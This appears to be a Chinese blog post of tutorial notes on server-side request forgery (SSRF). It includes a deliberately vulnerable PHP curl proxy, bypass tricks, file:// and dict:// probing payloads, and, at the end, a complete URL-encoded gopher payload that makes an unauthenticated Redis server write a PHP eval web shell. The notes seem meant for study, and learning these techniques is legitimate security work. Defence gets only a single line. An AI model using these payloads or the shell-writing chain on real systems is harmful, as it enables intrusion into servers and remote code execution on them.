SSRF
SSRF
满足的条件
- 让目标站点发起网络请求,可以控制目标去访问百度
- DNS注入通过load_file()函数读取远程地址 ==> 让目标站点发起网络请求
- 要能访问公网或者内网
代码查看
<?php
$URL = $_GET['url'];
$CH = CURL_INIT();
CURL_SETOPT($CH, CURLOPT_URL, $URL);
CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
$RES = CURL_EXEC($CH);
CURL_CLOSE($CH);
echo $RES;
?>
如何挖掘SSRF
黑盒
- 看参数(传参出现域名、协议、文件等可能存在)
白盒
- 可以发起请求的函数,传参中出现莫名其妙的协议头(
a=http://)或者是文件(a=123.php) - @方法【只访问@后面的内容】:
http://www.baidu.com@127.0.0.1也可以直接访问本地 - 数字IP法【IP转数字】
127.0.0.1 => 2130706433
如何利用
file协议
- file协议探测文件内容(?url=file:///c:/www/config.php)

dict协议
- dict协议扫描端口(?url=dict://127.0.0.1:80)
- 端口开放会显示报错消息
- 端口关闭无任何显示

如何绕过
-
加@方法
-
域名最终指向地址127.0.0.1
-
数字IP法
如何防御
- 写一个正则,不允许访问本机、内网
进阶使用
利用Gopher协议
Gopher协议
- Gopher协议是在http协议出现之前,在Internet上常见的一个协议
- 在SSRF中,Gopher协议可以对FTP、Telent、Redis、Memcache、MySQL进行攻击,也可以发送GET、POST数据
- 这个协议和http协议很类似,只不过gopher协议默认没有端口,需要特殊指定,而且需要制定POST方法,回车换行必须使用
%0d%0a,而且POST传参之间的&分隔符,也得进行URL编码
基本格式
gopher://
: / _后接TCP数据流
Redis
- 是一个缓存数据库
- 配置不当造成未授权访问
config
set dir /home/wwwroot/default/config
set dbfilename "shell.php"
set gaia "<?php eval($_POST[a]);?>"
save
exit
-
通过Redis写入恶意语句,然后通过wireshark抓原始数据流
-
通过URL编码,换行和空格用
%0d%0a代替转换出来的%0a,?替换成%3f
gopher://127.0.0.1:6379/*1%0D%0A$7%0D%0ACOMMAND%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$22%0D%0A/home/wwwroot/default/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Agaia%0D%0A$24%0D%0A%3C%3fphp%20eval($_POST%5Ba%5D);%3f%3E%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A

浙公网安备 33010602011771号